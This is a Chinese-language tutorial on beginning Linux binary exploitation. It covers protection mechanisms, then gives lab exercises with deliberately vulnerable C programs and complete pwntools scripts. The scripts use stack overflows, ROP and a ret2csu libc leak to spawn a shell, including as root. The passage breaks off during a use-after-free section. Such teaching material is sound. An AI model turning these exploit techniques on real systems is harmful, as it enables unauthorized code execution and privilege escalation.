Linux pwn入門學習到放棄

2021-03-02 黑客技術與網絡安全

來自:FreeBuf.COM,作者:酒仙橋六號部隊

連結:https://www.freebuf.com/vuls/248330.html

PWN是一個黑客語法的俚語詞,自」own」這個字引申出來的,意為玩家在整個遊戲對戰中處在勝利的優勢。本文記錄菜鳥學習linux pwn入門的一些過程,詳細介紹linux上的保護機制,分析一些常見漏洞如棧溢出,堆溢出,use after free等,以及一些常見工具介紹等。

Linux程序的常用保護機制

先來學習一些關於linux方面的保護措施,作業系統提供了許多安全機制來嘗試降低或阻止緩衝區溢出攻擊帶來的安全風險,包括DEP、ASLR等。從checksec入手來學習linux的保護措施。checksec可以檢查可執行文件各種安全屬性,包括Arch,RELRO,Stack,NX,PIE等。

pip安裝pwntools後自帶checksec檢查elf文件.

checksec xxxx.soArch:     aarch64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled

wget https://github.com/slimm609/checksec.sh/archive/2.1.0.tar.gztar xvf 2.1.0.tar.gz./checksec.sh-2.1.0/checksec --file=xxx

gdb level4  //加載目標程序gdb-peda$ checksec CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial

CANNARY金絲雀(棧保護)/Stack protect/棧溢出保護

棧溢出保護是一種緩衝區溢出攻擊緩解手段,當函數存在緩衝區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護後,函數開始執行的時候會先往棧裡插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary/金絲雀。gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all編譯參數以支持棧保護功能,4.9新增了-fstack-protector-strong編譯參數讓保護的範圍更廣。

開啟命令如下:

gcc -o test test.c                       // 默認情況下,開啟Canary保護gcc -fno-stack-protector  -o test test.c //禁用棧保護gcc -fstack-protector     -o test test.c //啟用堆棧保護,不過只為局部變量中含有 char 數組的函數插入保護代碼

gcc -fstack-protector-all -o test test.c //啟用堆棧保護,為所有函數插入保護代碼

FORTIFY/輕微的檢查

fority其實非常輕微的檢查,用於檢查是否存在緩衝區溢出的錯誤。適用情形是程序採用大量的字符串或者內存操作函數,如memcpy,memset,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及寬字符的變體。FORTIFY_SOURCE設為1,並且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那麼程序編譯時就會進行檢查但又不會改變程序功能 開啟命令如下:

gcc -o test test.c                    // 默認情況下,不會開這個檢查gcc -D_FORTIFY_SOURCE=1 -o test test.c // 較弱的檢查gcc -D_FORTIFY_SOURCE=1 僅僅只會在編譯時進行檢查 (特別像某些頭文件 #include <string.h>)_FORTIFY_SOURCE設為1,並且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那麼程序編譯時就會進行檢查但又不會改變程序功能gcc -D_FORTIFY_SOURCE=2 -o test test.c // 較強的檢查gcc -D_FORTIFY_SOURCE=2 程序執行時也會有檢查 (如果檢查到緩衝區溢出,就終止程序)_FORTIFY_SOURCE設為2,有些檢查功能會加入,但是這可能導致程序崩潰。

看編譯後的二進位彙編我們可以看到gcc生成了一些附加代碼,通過對數組大小的判斷替換strcpy, memcpy, memset等函數名,達到防止緩衝區溢出的作用。

NX/DEP/數據執行保護

數據執行保護(DEP)(Data Execution Prevention) 是一套軟硬體技術,能夠在內存上執行額外檢查以幫助防止在系統上運行惡意代碼。在 Microsoft Windows XP Service Pack 2及以上版本的Windows中,由硬體和軟體一起強制實施 DEP。支持 DEP 的 CPU 利用一種叫做NX(No eXecute) 不執行」的技術識別標記出來的區域。如果發現當前執行的代碼沒有明確標記為可執行(例如程序執行後由病毒溢出到代碼執行區的那部分代碼),則禁止其執行,那麼利用溢出攻擊的病毒或網絡攻擊就無法利用溢出進行破壞了。如果 CPU 不支持 DEP,Windows 會以軟體方式模擬出 DEP 的部分功能。NX即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。

開啟命令如下:

gcc -o test test.c // 默認情況下,開啟NX保護gcc -z execstack -o test test.c // 禁用NX保護gcc -z noexecstack -o test test.c // 開啟NX保護

在Windows下,類似的概念為DEP(數據執行保護),在最新版的Visual Studio中默認開啟了DEP編譯選項。

ASLR (Address space layout randomization)

ASLR是一種針對緩衝區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。如今Linux、FreeBSD、Windows等主流作業系統都已採用了該技術。此技術需要作業系統和軟體相配合。ASLR在linux中使用此技術後,殺死某程序後重新開啟,地址就會會改變

在Linux上 關閉ASLR,切換至root用戶,輸入命令

echo 0 > /proc/sys/kernel/randomize_va_space

開啟ASLR,切換至root用戶,輸入命令

echo 2 > /proc/sys/kernel/randomize_va_space

上面的序號代表意思如下:

0 - 表示關閉進程地址空間隨機化。

1 - 表示將mmap的基址,stack和vdso頁面隨機化。

2 - 表示在1的基礎上增加棧(heap)的隨機化。

可以防範基於Ret2libc方式的針對DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運行惡意代碼。

PIE和PIC

PIE最早由RedHat的人實現,他在連接起上增加了-pie選項,這樣使用-fPIE編譯的對象就能通過連接器得到位置無關可執行程序。fPIE和fPIC有些不同。-fPIC與-fpic都是在編譯時加入的選項,用於生成位置無關的代碼(Position-Independent-Code)。這兩個選項都是可以使代碼在加載到內存時使用相對地址,所有對固定地址的訪問都通過全局偏移表(GOT)來實現。-fPIC和-fpic最大的區別在於是否對GOT的大小有限制。-fPIC對GOT表大小無限制,所以如果在不確定的情況下,使用-fPIC是更好的選擇。-fPIE與-fpie是等價的。這個選項與-fPIC/-fpic大致相同,不同點在於:-fPIC用於生成動態庫,-fPIE用與生成可執行文件。再說得直白一點:-fPIE用來生成位置無關的可執行代碼。

PIE和ASLR不是一樣的作用,ASLR只能對堆、棧,libc和mmap隨機化,而不能對如代碼段,數據段隨機化,使用PIE+ASLR則可以對代碼段和數據段隨機化。區別是ASLR是系統功能選項,PIE和PIC是編譯器功能選項。聯繫點在於在開啟ASLR之後,PIE才會生效。

開啟命令如下:

gcc -o test test.c                 // 默認情況下,不開啟PIEgcc -fpie -pie -o test test.c     // 開啟PIE,此時強度為1gcc -fPIE -pie -o test test.c     // 開啟PIE,此時為最高強度2gcc -fpic -o test test.c         // 開啟PIC,此時強度為1,不會開啟PIEgcc -fPIC -o test test.c         // 開啟PIC,此時為最高強度2,不會開啟PIE

RELRO(read only relocation)

在很多時候利用漏洞時可以寫的內存區域通常是黑客攻擊的目標,尤其是存儲函數指針的區域。而動態連結的ELF二進位文件使用稱為全局偏移表(GOT)的查找表來動態解析共享庫中的函數,GOT就成為了黑客關注的目標之一,

GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術: read only relocation。大概實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之後的區域,GOT為只讀.設置符號重定向表為只讀或在程序啟動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。如果RELRO為 「Partial RELRO」,說明我們對GOT表具有寫權限。

開啟命令如下:

gcc -o test test.c              // 默認情況下,是Partial RELROgcc -z norelro -o test test.c   // 關閉,即No RELROgcc -z lazy -o test test.c      // 部分開啟,即Partial RELROgcc -z now -o test test.c       // 全部開啟

開啟FullRELRO後寫利用時就不能複寫got表。

pwn工具常見整合pwntools

pwntools是一個二進位利用框架,網上關於pwntools的用法教程很多,學好pwntools對於做漏洞的利用和理解漏洞有很好的幫助。可以利用pwntools庫開發基於python的漏洞利用腳本。

pycharm

pycharm可以實時調試和編寫攻擊腳本,提高了寫利用的效率。

在遠程主機上執行

socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

用pycharm工具開發pwn代碼,遠程連接程序進行pwn測試。需要設置環境變量 TERM=linux;TERMINFO=/etc/terminfo,並勾選 Emulate terminal in output coonsoole

然後pwntools的python腳本使用遠程連接

p = remote('172.16.36.176', 10001)

ida

...raw_input() # for debug...p.interactive()

當pwntools開發的python腳本暫停時,遠程ida可以附加查看信息

gdb附加

#!/usr/bin/python# -*- coding: UTF-8 -*-import pwn...# Get PID(s) of target. The returned PID(s) depends on the type of target:m_pid=pwn.proc.pidof(p)[0]print("attach %d" % m_pid)pwn.gdb.attach(m_pid) # 連結gdb調試,先在gdb界面按下n下一步返回python控制臺enter繼續(兩窗口同步)
print("\n##########sending payload##########\n")p.send(payload)
pwn.pause()p.interactive()

gdb插件枚舉

1)PEDA - Python Exploit Development Assistance for GDB(https://github.com/longld/peda) 可以很清晰的查看到堆棧信息,寄存器和反彙編信息 git clone https://github.com/longld/peda.git~/panda/peda echo 「source ~/panda/peda/peda.py」 >> ~/.gdbinit

2)GDB Enhanced Features(https://github.com/hugsy/gef) peda的增強版,因為它支持更多的架構(ARM, MIPS, POWERPC…),和更加強大的模塊,並且和ida聯動。

3)libheap(查看堆信息) pip3 install libheap —verbose

EDB附加

EDB 是一個可視化的跨平臺調試器,跟win上的Ollydbg很像。

lldb插件

voltron & lisa。一個擁有舒服的ui界面,一個簡潔但又擁有實用功能的插件。

voltron配合tmux會產生很好的效果,如下:

實踐

通過幾個例子來了解常見的幾種保護手段和熟悉常見的攻擊手法。實踐平臺 ubuntu 14.16_x64

實踐1棧溢出利用溢出改變程序走向編譯測試用例
#include <stdio.h>#include <stdlib.h>#include <unistd.h>void callsystem(){ system("/bin/sh"); }void vulnerable_function() {    char buf[128];    read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {    write(STDOUT_FILENO, "Hello, World\n", 13);// /dev/stdin    fd/0// /dev/stdout   fd/1// /dev/stderr   fd/2    vulnerable_function();}編譯方法:#!bashgcc -fno-stack-protector linux_x64_test1.c -o linux_x64_test1 -ldl //禁用棧保護

檢測如下:

gdb-peda$ checksec linux_x64_test1CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial

發現沒有棧保護,沒有CANARY保護

生成構造的數據

這裡用到一個腳本pattern.py來生成隨機數據,來自這裡

python2 pattern.py create 150Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

獲取到溢出偏移

用lldb進行調試

panda@ubuntu:~/Desktop/test$ lldb linux_x64_test1(lldb) target create "linux_x64_test1"Current executable set to 'linux_x64_test1' (x86_64).(lldb) runProcess 117360 launched: '/home/panda/Desktop/test/linux_x64_test1' (x86_64)Hello, WorldAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Process 117360 stopped* thread #1: tid = 117360, 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32, name = 'linux_x64_test1', stop reason = signal SIGSEGV: invalid address (fault address: 0x0)    frame #0: 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32linux_x64_test1`vulnerable_function:->  0x4005e7 <+32>: retq
linux_x64_test1`main: 0x4005e8 <+0>: pushq %rbp 0x4005e9 <+1>: movq %rsp, %rbp 0x4005ec <+4>: subq $0x10, %rsp(lldb) x/xg $rsp0x7fffffffdd58: 0x3765413665413565
python2 pattern.py offset 0x3765413665413565hex pattern decoded as: e5Ae6Ae7136

發現溢出字符串長度為 136+ret_address

獲取 callsystem 函數地址

因為代碼中存在輔助函數callsystem,直接獲取地址

panda@ubuntu:~/Desktop/test$ nm linux_x64_test1|grep call00000000004005b6 T callsystem

編寫並測試利用_提權

pwntools是一個二進位利用框架,可以用python編寫一些利用腳本,方便達到利用漏洞的目的,當然也可以用其他手段。

import pwn
# p = pwn.process("./linux_x64_test1")p = remote('172.16.36.174', 10002)callsystem_address = 0x00000000004005b6payload="A"*136 + pwn.p64(callsystem_address)
p.send(payload)p.interactive()

測試利用拿到shell

panda@ubuntu:~/Desktop/test$ python test.py [+] Starting local process './linux_x64_test1': pid 117455[*] Switching to interactive modeHello, World$ whoamipanda

將二進位程序設置為服務端程序,後續文章不再說明

socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

測試遠程程序

panda@ubuntu:~/Desktop/test$ python test2.py [+] Opening connection to 127.0.0.1 on port 10001: Done[*] Switching to interactive modeHello, World$ whoamipanda

如果這個進程是root

sudo socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

測試遠程程序,提權成功

panda@ubuntu:~/Desktop/test$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done[*] Switching to interactive modeHello, World$ whoamiroot

實踐2棧溢出通過ROP繞過DEP和ASLR防護編譯測試用例

開啟ASLR後,libc地址會不斷變化,這裡先不討論怎麼獲取真實system地址,用了一個輔助函數列印system地址。

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <dlfcn.h>void systemaddr(){    void* handle = dlopen("libc.so.6", RTLD_LAZY);    printf("%p\n",dlsym(handle,"system"));    fflush(stdout);}void vulnerable_function() {    char buf[128];    read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {    systemaddr();    write(1, "Hello, World\n", 13);    vulnerable_function();}

編譯方法:

#!bashgcc -fno-stack-protector linux_x64_test2.c -o linux_x64_test2 -ldl //禁用棧保護

檢測如下:

gdb-peda$ checksec linux_x64_test2CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial

觀察ASLR,運行兩次,發現每次libc的system函數地址會變化,

panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 0x7f9d7d71a390Hello, World
panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 0x7fa84dc3d390Hello, World

ROP簡介

ROP的全稱為Return-oriented programming(返回導向編程),是一種高級的內存攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如內存不可執行DEP和代碼籤名等)

尋找ROP

我們希望最後執行system(「/bin/sh」),緩衝區溢出後傳入」/bin/sh」的地址和函數system地址。我們想要的x64的gadget一般如下:

pop rdi  // rdi="/bin/sh"ret      // call system_addr
pop rdi // rdi="/bin/sh"pop rax // rax= system_addrcall rax // call system_addr

系統開啟了aslr,只能通過相對偏移來計算gadget,在二進位中搜索,這裡用到工具ROPgadget

panda@ubuntu:~/Desktop/test$ ROPgadget --binary linux_x64_test2 --only "pop|sret"Gadgets information============================================================
Unique gadgets found: 0

獲取二進位的連結

panda@ubuntu:~/Desktop/test$ ldd linux_x64_test2    linux-vdso.so.1 =>  (0x00007ffeae9ec000)    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fdc0531f000)    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc04f55000)    /lib64/ld-linux-x86-64.so.2 (0x00007fdc05523000)

在庫中搜索 pop ret

panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" |grep rdi0x0000000000020256 : pop rdi ; pop rbp ; ret0x0000000000021102 : pop rdi ; ret

決定用 0x0000000000021102

在庫中搜索 /bin/sh 字符串

panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"Strings information============================================================0x000000000018cd57 : /bin/sh

構造利用並測試

這裡實現兩種gadgets 實現利用目的,分別是version1和version2

#!/usr/bin/python# -*- coding: UTF-8 -*-import pwn
libc = pwn.ELF("./libc.so.6")# p = pwn.process("./linux_x64_test2")p = pwn.remote("127.0.0.1",10001)
systema_addr_str = p.recvuntil("\n")systema_addr = int(systema_addr_str,16) # now system addr
binsh_static = 0x000000000018cd57binsh2_static = next(libc.search("/bin/sh"))
print("binsh_static = 0x%x" % binsh_static)print("binsh2_static = 0x%x" % binsh2_static)
binsh_offset = binsh2_static - libc.symbols["system"] # offset = static1 - static2print("binsh_offset = 0x%x" % binsh_offset)
binsh_addr = binsh_offset + systema_addrprint("binsh_addr = 0x%x" % binsh_addr)
# version1# pop_ret_static = 0x0000000000021102 # pop rdi ; ret
# pop_ret_offset = pop_ret_static - libc.symbols["system"]# print("pop_ret_offset = 0x%x" % pop_ret_offset)
# pop_ret_addr = pop_ret_offset + systema_addr# print("pop_ret_addr = 0x%x" % pop_ret_addr)
# payload="A"*136 +pwn.p64(pop_ret_addr)+pwn.p64(binsh_addr)+pwn.p64(systema_addr)# binsh_addr 低 x64 第一個參數是rdi# systema_addr 高
# version2pop_pop_call_static = 0x0000000000107419 # pop rax ; pop rdi ; call raxpop_pop_call_offset = pop_pop_call_static - libc.symbols["system"]print("pop_pop_call_offset = 0x%x" % pop_pop_call_offset)
pop_pop_call_addr = pop_pop_call_offset + systema_addrprint("pop_pop_call_addr = 0x%x" % pop_pop_call_addr)
payload="A"*136 +pwn.p64(pop_pop_call_addr)+pwn.p64(systema_addr)+pwn.p64(binsh_addr)# systema_addr 低 pop rax# binsh_addr 高 pop rdi
print("\n##########sending payload##########\n")p.send(payload)p.interactive()

最後測試如下:

panda@ubuntu:~/Desktop/test$ python test2.py [*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Starting local process './linux_x64_test2': pid 118889binsh_static   = 0x18cd57binsh2_static  = 0x18cd57binsh_offset   = 0x1479c7binsh_addr     = 0x7fc3018ffd57pop_ret_offset = 0x-2428epop_ret_addr   = 0x7fc301794102
##########sending payload##########[*] Switching to interactive modeHello, World$ whoamipanda

實踐3棧溢出去掉輔助函數
#include <stdio.h>#include <stdlib.h>#include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function();}編譯方法:gcc -fno-stack-protector linux_x64_test3.c -o linux_x64_test3 -ldl //禁用棧保護

檢查防護

gdb-peda$ checksec linux_x64_test3CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partialgdb-peda$ quit

.bss段

相關概念:堆(heap),棧(stack),BSS段,數據段(data),代碼段(code /text),全局靜態區,文字常量區,程序代碼區。

BSS段:BSS段(bss segment)通常是指用來存放程序中未初始化的全局變量的一塊內存區域。

數據段:數據段(data segment)通常是指用來存放程序中已初始化的全局變量的一塊內存區域。

代碼段:代碼段(code segment/text segment)通常是指用來存放程序執行代碼的一塊內存區域。這部分區域的大小在程序運行前就已經確定,並且內存區域通常屬於只讀, 某些架構也允許代碼段為可寫,即允許修改程序。在代碼段中,也有可能包含一些只讀的常數變量,例如字符串常量等。

堆(heap):堆是用於存放進程運行中被動態分配的內存段,它的大小並不固定,可動態擴張或縮減。當進程調用malloc等函數分配內存時,新分配的內存就被動態添加到堆上(堆被擴張);當利用free等函數釋放內存時,被釋放的內存從堆中被剔除(堆被縮減)。

棧(stack):棧又稱堆棧,用戶存放程序臨時創建的局部變量。在函數被調用時,其參數也會被壓入發起調用的進程棧中,並且待到調用結束後,函數的返回值也會被存放回棧中。由於棧的後進先出特點,所以棧特別方便用來保存/恢復調用現場。

程序的.bss段中.bss段是用來保存全局變量的值的,地址固定,並且可以讀可寫。

NameTypeAddrOffSizeESFlgLkInfAl名字類型起始地址文件的偏移地址區大小表區的大小區標誌相關區索引其他區信息對齊字節數

panda@ubuntu:~/Desktop/test$ readelf -S linux_x64_test3There are 31 section headers, starting at offset 0x1a48:
Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)

尋找合適的gadget

panda@ubuntu:~/Desktop/test$ objdump -d linux_x64_test300000000004005c0 <__libc_csu_init>:  4005c0:    41 57                    push   %r15  4005c2:    41 56                    push   %r14  4005c4:    41 89 ff                 mov    %edi,%r15d  4005c7:    41 55                    push   %r13  4005c9:    41 54                    push   %r12  4005cb:    4c 8d 25 3e 08 20 00     lea    0x20083e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>  4005d2:    55                       push   %rbp  4005d3:    48 8d 2d 3e 08 20 00     lea    0x20083e(%rip),%rbp        # 600e18 <__init_array_end>  4005da:    53                       push   %rbx  4005db:    49 89 f6                 mov    %rsi,%r14  4005de:    49 89 d5                 mov    %rdx,%r13  4005e1:    4c 29 e5                 sub    %r12,%rbp  4005e4:    48 83 ec 08              sub    $0x8,%rsp  4005e8:    48 c1 fd 03              sar    $0x3,%rbp  4005ec:    e8 0f fe ff ff           callq  400400 <_init>  4005f1:    48 85 ed                 test   %rbp,%rbp  4005f4:    74 20                    je     400616 <__libc_csu_init+0x56>  4005f6:    31 db                    xor    %ebx,%ebx  4005f8:    0f 1f 84 00 00 00 00     nopl   0x0(%rax,%rax,1)  4005ff:    00 
400600: 4c 89 ea mov %r13,%rdx 400603: 4c 89 f6 mov %r14,%rsi 400606: 44 89 ff mov %r15d,%edi 400609: 41 ff 14 dc callq *(%r12,%rbx,8) 40060d: 48 83 c3 01 add $0x1,%rbx 400611: 48 39 eb cmp %rbp,%rbx 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add $0x8,%rsp
40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq 400625: 90 nop 400626: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40062d: 00 00 00

程序自己的 __libc_csu_init 函數,沒開PIE.

疑問:

這裡可以直接write出got_system嗎?既然都得到got_write這個是靜態地址,還能去調用,難道got表函數隨便調用不變?got_system 存儲了實際的 libc-2.23.so!write 地址,所以去執行 got_system 然後列印出實際地址

為什麼不傳遞 「/bin/sh」的字符串地址到最後調用的system(「/bin/sh」),而是將」/bin/sh」寫入 bss段 因為這裡rdi=r15d=param1 r15d 32-bit 所以不能傳遞給rdi 64-bit的 「/bin/sh」 字符串地址,所以必須寫入到可寫bss段,因為程序段就32-bit

00007f76:f3c0bd57|2f 62 69 6e 2f 73 68 00 65                     |/bin/sh.e       |

// /dev/stdin    fd/0// /dev/stdout   fd/1// /dev/stderr   fd/2

總結:

返回到 0x40061a 控制rbx,rbp,r12,r13,r14,r15

返回到 0x400600 執行rdx=r13 rsi=r14 rdi=r15d call callq *(%r12,%rbx,8)

使 rbx=0 這樣最後就可以callq *(r12+rbx*8)=callq *(r12)可以構造rop使之能執行任意函數

需要洩露真實 libc.so 在內存中的地址才能拿到system_addr,才能getshell,那麼返回調用got_write(rdi=1,rsi=got_write,rdx=8),從服務端返回write_addr,通過write_addr減去 - write_static/libc.symbols[『write』]和system_static/libc.symbols[『system』] 的差值得到 system_addr,然後返回到main重新開始,但並沒有結束進程

返回調用got_read(rdi=0,bss_addr,16),相當於執行got_read(rdi=0,bss_addr,8),got_read(rdi=0,bss_addr+8,8),發送 system_addr,」/bin/sh」,然後返回到main重新開始,但並沒有結束進程

返回到bss_addr(bss_addr+8) -> system_addr(binsh_addr)

開始構造ROP

查看got表

panda@ubuntu:~/Desktop/test$ objdump -R linux_x64_test3
linux_x64_test3: file format elf64-x86-64
DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.50000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.50000000000601028 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5

然後利用代碼如下:

#!/usr/bin/python# -*- coding: UTF-8 -*-
from pwn import *
libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")linux_x64_test3_elf = ELF("./linux_x64_test3")
# p = process("./linux_x64_test3")p = remote("127.0.0.1",10001)
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40061aprint("[+] pop_rbx_rbp_r12_r13_r14_r15_ret = 0x%x" % pop_rbx_rbp_r12_r13_r14_r15_ret)rdx_rsi_rdi_callr12_ret = 0x400600print("[+] rdx_rsi_rdi_callr12_ret = 0x%x" % rdx_rsi_rdi_callr12_ret)
"""0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.50000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5"""got_write =0x0000000000601018print("[+] got_write = 0x%x" % got_write)
got_write2=linux_x64_test3_elf.got["write"]print("[+] got_write2 = 0x%x" % got_write2)
got_read = 0x0000000000601020got_read2=linux_x64_test3_elf.got["read"]
"""0000000000400587 <main>: 400587: 55 push %rbp"""main_static = 0x0000000000400587
# call got_write(rdi=1,rsi=got_write, rdx=8)# rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_addresspayload1 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)payload1 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1)payload1 += p64(got_write) # call_address : got_writepayload1 += p64(8) # param3 : 8payload1 += p64(got_write) # param2 : got_writepayload1 += p64(1) # param1 : 1
payload1 += p64(rdx_rsi_rdi_callr12_ret) # call r12payload1 += p64(0)*7 # add $0x8,%rsp # 6 poppayload1 += p64(main_static) # return main
p.recvuntil('Hello, World\n')
print("[+] send payload1 call got_write(rdi=1,rsi=got_write, rdx=8)")p.send(payload1)sleep(1)
write_addr = u64(p.recv(8))print("[+] write_addr = 0x%x" % write_addr)
write_static = libc_elf.symbols['write']system_static = libc_elf.symbols['system']
system_addr = write_addr - (write_static - system_static)print("[+] system_addr = 0x%x" % system_addr)
""" [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1"""bss_addr = 0x0000000000601040bss_addr2 = linux_x64_test3_elf.bss()print("[+] bss_addr = 0x%x" % bss_addr)print("[+] bss_addr2 = 0x%x" % bss_addr2)
# call got_read(rdi=0,rsi=bss_addr, rdx=16)# got_read(rdi=0,rsi=bss_addr, rdx=8) write system# got_read(rdi=0,rsi=bss_addr+8, rdx=8) write /bin/sh# rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_address
payload2 = "A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)payload2 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1)payload2 += p64(got_read) # call_address : got_readpayload2 += p64(16) # param3 : 16payload2 += p64(bss_addr) # param2 : bss_addrpayload2 += p64(0) # param1 : 0
payload2 += p64(rdx_rsi_rdi_callr12_ret) # call r12payload2 += p64(0)*7 # add $0x8,%rsp 6 poppayload2 += p64(main_static)
p.recvuntil('Hello, World\n')
print("[+] send payload2 call got_read(rdi=0,rsi=bss_addr, rdx=16)")
# raw_input()p.send(payload2)# raw_input()
p.send(p64(system_addr) + "/bin/sh\0") #send /bin/sh\0"""00000000:00601040|00007f111b941390|...|00000000:00601048|0068732f6e69622f|/bin/sh.|"""sleep(1)p.recvuntil('Hello, World\n')
# call bss_addr(rdi=bss_addr+8) system_addr(rdi=binsh_addr)# rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_address
payload3 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)payload3 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1)payload3 += p64(bss_addr) # call_address : bss_addrpayload3 += p64(0) # param3 : 0payload3 += p64(0) # param2 : 0payload3 += p64(bss_addr+8) # param1 : bss_addr+8
payload3 += p64(rdx_rsi_rdi_callr12_ret) # call r12payload3 += p64(0)*7 # add $0x8,%rsp 6 poppayload3 += p64(main_static)
print("[+] send payload3 call system_addr(rdi=binsh_addr)")p.send(payload3)p.interactive()

實踐4_釋放後使用(Use-After-Free)學習

用 2016HCTF_fheap作為學習目標,該題存在格式化字符漏洞和UAF漏洞。格式化字符串函數可以接受可變數量的參數,並將第一個參數作為格式化字符串,根據其來解析之後的參數。格式化字符漏洞是控制第一個參數可能導致任意地址讀寫。釋放後使用(Use-After-Free)漏洞是內存塊被釋放後,其對應的指針沒有被設置為 NULL,再次申請內存塊特殊改寫內存導致任意地址讀或劫持控制流。

分析程序

checksec查詢發現全開了

Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled

程序很簡單就3個操作,create,delete,quit

漏洞點

在delete操作上發現調用free指針函數釋放結構後沒有置結構指針為NULL,這樣就能實現UAF, 如下圖

